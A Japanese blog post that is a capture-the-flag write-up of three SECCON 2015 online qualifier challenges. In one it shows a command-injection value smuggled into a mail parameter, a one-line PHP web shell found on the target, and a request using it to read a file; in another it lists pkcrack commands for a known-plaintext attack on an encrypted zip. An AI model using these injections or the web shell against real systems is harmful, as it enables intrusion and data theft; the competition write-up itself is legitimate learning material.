煙と消えるその前に

一服してるうちに忘れる、自分のための備忘録。とかとか

SECCON2015オンライン予選に参加してきた

今年もSECCON 2015 Online CTFに参加してきました。
いつものRoute9で参加。99位!ギリとはいえ2桁台という嬉しい結果に。
参加記録をかねて解けた問題(フラグ入力したとは言ってない)のwriteupを書きます。

Web/Network100 Connect the Server

低速回線環境のサーバ?のようですがブラウザでアクセスしてしばらく放置してたらflagが取れました(汗
リクエストタイムアウトをいじらないといけない問題だったとかなのかな・・・?

f:id:paty_fakename:20151206162946p:plain

途中に関係ないデータが挟まってますが、ASCII部分だけ繋ぎ合わせて
SECCON{Sometimes_what_you_see_is_NOT_what_you_get}

Web/Network100 Entry form

メアドを登録するとメールを送信するWebサービス
とっかかりがわからなかったんですが、チームメンバー曰くrootパスにディレクトリインデックスがついているとのこと。
さっそくアクセスするとファイル一覧が見えた。

f:id:paty_fakename:20151206163723p:plain

/register.cgi_bakにアクセスしてみると、register.cgiのソースが見えました。

f:id:paty_fakename:20151206163825p:plain

どうやらlogファイルの中の先頭2行にflagが入ってそう。

mailクエリをごにょればいけそうということで色々試したところ、mail="|ls -l"が使えたので、それでディレクトリ漁ってみるとlogファイルがありました!しかしlogのアクセス権は 640 apache:cgiなのでcgiユーザでは読めません。
じゃあ、ということでSECRETSディレクトリのその中を見てみると、backdoor123.phpなるファイルが。

backdoor123.phpの中身はこんなのでした。cmdを渡せばそのまま実行してくれる。

<pre><?php system($_GET['cmd']); ?></pre>

しかもこのbackdoorがapache権限で動いているので、こいつ経由でlogの中身を抜き出してflagげっと。
(こんな感じのアクセス -> /SECRETS/backdoor123.php?cmd=head%20/var/www/html/log)

SECCON{Glory_will_shine_on_you.}

Crypto100 Unzip the file

パス付zipファイルを解凍する問題。
zipの中には backnumber08.txt backnumber09.txt flag の3つのファイルが入ってることはわかりますが解凍方法がわかりません。
色々調べたところ、既知平文攻撃が使えそうとのこと。そこでpkcrackというツールを使います。
既知平文攻撃をするためにはzipの中に入っているファイルが何か必要なのですが、backnumberから類推して、おそらくSECCONのメルマガだろうと推測してWebからページをDLしました。
落としてきたファイルをzipにしてpkcrackに食わせてみるとflagが取り出せました。

wget http://2014.seccon.jp/mailmagazine/backnumber08.txt
zip backnumber08.zip backnumber08.txt
pkcrack-1.2.2/src/pkcrack -C unzip.zip -c backnumber08.txt -d decrypt.zip -p backnumber08.txt -p backnumber08.zip
unzip decrypt.zip

取り出したflagもzipファイルになっているため、解凍したところflag自体はwordファイルのようでした。
手元にwordがないので中身のxmlを見てみるとword/document.xmlにflagがありました。

$ file flag
flag: Zip archive data, at least v2.0 to extract

SECCON{1s_th1s_passw0rd_ weak?}